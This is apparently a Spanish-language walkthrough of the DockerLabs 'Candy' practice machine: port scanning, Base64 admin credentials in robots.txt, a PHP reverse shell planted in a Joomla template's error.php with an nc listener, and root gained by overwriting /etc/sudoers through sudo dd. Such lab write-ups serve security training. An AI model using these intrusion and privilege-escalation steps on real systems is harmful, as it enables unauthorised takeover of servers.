> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/candy.md).

# Candy

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Candy** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Utilizamos `7z` para extraer los archivos:

```bash
7z x candy.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F5OPOoaXqJeB4ggWJKpxq%2FPasted%20image%2020250711111417.png?alt=media&amp;token=0bf91253-0f53-4854-b969-bd69022edbfc" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Desplegamos el entorno con el script proporcionado:

```bash
bash auto_deploy.sh candy.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F7FUOLDfIzvHmKyl41OtP%2FPasted%20image%2020250711111510.png?alt=media&amp;token=71597079-6363-41a0-b175-86d7f1b10726" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Confirmamos que la máquina está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FTyPHHWjL9DoyjgHpgTKk%2FPasted%20image%2020250711111545.png?alt=media&amp;token=c77d2489-a9ec-4609-9221-497f1633277f" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido con `nmap`:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Resultado:**

* **Puerto 80:** `HTTP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F9HknIfUNRaElDMLzVwN2%2FPasted%20image%2020250711111601.png?alt=media&amp;token=316dc1e3-f3c3-4362-8075-54e3d6521c5d" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Escaneamos el puerto 80 para obtener más información:

```bash
nmap -p80 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* **Servidor web:** Apache httpd 2.4.58 (Ubuntu).
* **Tecnología detectada:** Joomla.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F3cA9DVy9cuzeNHL4JEhp%2FPasted%20image%2020250711111621.png?alt=media&amp;token=5b0995aa-32ca-47f6-8eed-21ec28992404" alt=""><figcaption></figcaption></figure>

#### **2.4. Enumeración web**

Accedemos al sitio web en el puerto 80 (`http://172.17.0.2`).

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FpctPrFGCHjotvPqVVBjl%2FPasted%20image%2020250711111658.png?alt=media&amp;token=2a4a0498-5e9f-4ec5-9465-05efa09b6f1e" alt=""><figcaption></figcaption></figure>

#### **2.5. Obtención de credenciales**

Revisamos el archivo `robots.txt` (`http://172.17.0.2/robots.txt`).

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FiEBdhyCVPKbXE9tL2bMq%2FPasted%20image%2020250711111715.png?alt=media&amp;token=c3413455-cc64-4c99-9fd5-6242da0f9c76" alt=""><figcaption></figcaption></figure>

Encontramos credenciales en Base64:

```bash
echo "c2FubHVpczEyMzQ1" | base64 -d; echo
```

**Resultados:**

* **Usuario:** `admin`.
* **Contraseña:** `sanluis12345`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FZzSJv5XCBjX0XG4iff8u%2FPasted%20image%2020250711111837.png?alt=media&amp;token=844d1fac-f794-444a-a87d-529340af8b86" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Acceso al panel de administración**

Utilizamos las credenciales en el panel de Joomla (`http://172.17.0.2/administrator/`).

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fm3JW5nlQ9LnH29DBkrlC%2FPasted%20image%2020250711111900.png?alt=media&amp;token=60944d7e-8ca1-4146-974c-561d73608596" alt=""><figcaption></figcaption></figure>

#### **3.2. Explotación de plantillas**

Modificamos la plantilla **Cassiopeia** para insertar una reverse shell en el archivo `error.php`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F8aufwdsDYpDJW14vN0OS%2FPasted%20image%2020250711112043.png?alt=media&amp;token=12ded56d-e75a-4b15-885f-66006f56f6d3" alt=""><figcaption></figcaption></figure>

1. Generamos una reverse shell con [RevShells](https://www.revshells.com/) (**PHP PentestMonkey**).

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FYDoEZMA6RpdkQKMial51%2FPasted%20image%2020250711112113.png?alt=media&amp;token=0a8c1498-2be9-4cce-92d0-f1737b0a2972" alt=""><figcaption></figcaption></figure>

2. Editamos el archivo `error.php` en la plantilla.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FZUiDG4eTP5PlmvbgpsL3%2FPasted%20image%2020250711112431.png?alt=media&amp;token=9f9e7913-a6ee-4233-aa08-c85ba19adbd3" alt=""><figcaption></figcaption></figure>

3. Nos ponemos en escucha:

```bash
nc -lvnp 123
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FOe4x7jnWZCAttpE7oBe4%2FPasted%20image%2020250711112449.png?alt=media&amp;token=71a6f836-0ed1-43b0-a352-6a9b4d0c71c0" alt=""><figcaption></figcaption></figure>

4. Accedemos al archivo `error.php` (`http://172.17.0.2/templates/cassiopeia/error.php`).

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FDV65Zf4Ac7rqGFFdzj46%2FPasted%20image%2020250711112637.png?alt=media&amp;token=dab709cb-2663-422d-b2e7-7df7a279a92d" alt=""><figcaption></figcaption></figure>

5. Recibimos la shell en nuestra consola.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F7DPBM4MG35odfAij0bP2%2FPasted%20image%2020250711112649.png?alt=media&amp;token=ed84cf2e-dee9-41ca-8f13-4105afede18a" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Búsqueda de archivos**

Buscamos archivos del usuario `luisillo`:

```bash
find / -user luisillo 2>/dev/null
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FNc6XOxJyEqEB0UGExUa6%2FPasted%20image%2020250711112812.png?alt=media&amp;token=ad480011-ec34-488f-b860-812b7339436b" alt=""><figcaption></figcaption></figure>

#### **4.2. Obtención de credenciales**

Encontramos credenciales en un archivo oculto:

```bash
cat /var/backups/hidden/otro_caramelo.txt
```

**Credenciales:**

* **Usuario:** `luisillo`.
* **Contraseña:** `luisillosuperpassword`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FCzOLnz5zVfFHI26VNQBY%2FPasted%20image%2020250711112837.png?alt=media&amp;token=fa9d3fe7-2382-418e-9afd-194ff087df51" alt=""><figcaption></figcaption></figure>

#### **4.3. Acceso al usuario luisillo**

Cambiamos al usuario `luisillo`:

```bash
su luisillo
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FdoDg8pjSklF1btRNbKRe%2FPasted%20image%2020250711112910.png?alt=media&amp;token=79198961-3e42-4e65-a5b4-7ca9f20609f5" alt=""><figcaption></figcaption></figure>

#### **4.4. Abuso de sudo**

Verificamos privilegios:

```bash
sudo -l
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FhVaU9KnxvLaUtGLfwoTv%2FPasted%20image%2020250711112943.png?alt=media&amp;token=f2e1d9dc-5407-4d76-afcd-cb5c192013ae" alt=""><figcaption></figcaption></figure>

Abusamos de `dd` para obtener acceso como `root` ([GTFOBins](https://gtfobins.github.io/gtfobins/dd/)):

```bash
echo "luisillo ALL=(ALL:ALL) ALL" | sudo /bin/dd of=/etc/sudoers
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F3P41PXj2q1CgcbO691bx%2FPasted%20image%2020250711113050.png?alt=media&amp;token=4ec6107f-af44-4b78-9181-be2e6e998cb4" alt=""><figcaption></figcaption></figure>

Finalmente, accedemos como el usuario `root`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F0GLqRrBpf0sywLsjP2hT%2FPasted%20image%2020250711113120.png?alt=media&amp;token=fa0ebcf7-71cc-4fd3-a9ae-28ca31e4afa4" alt=""><figcaption></figcaption></figure>
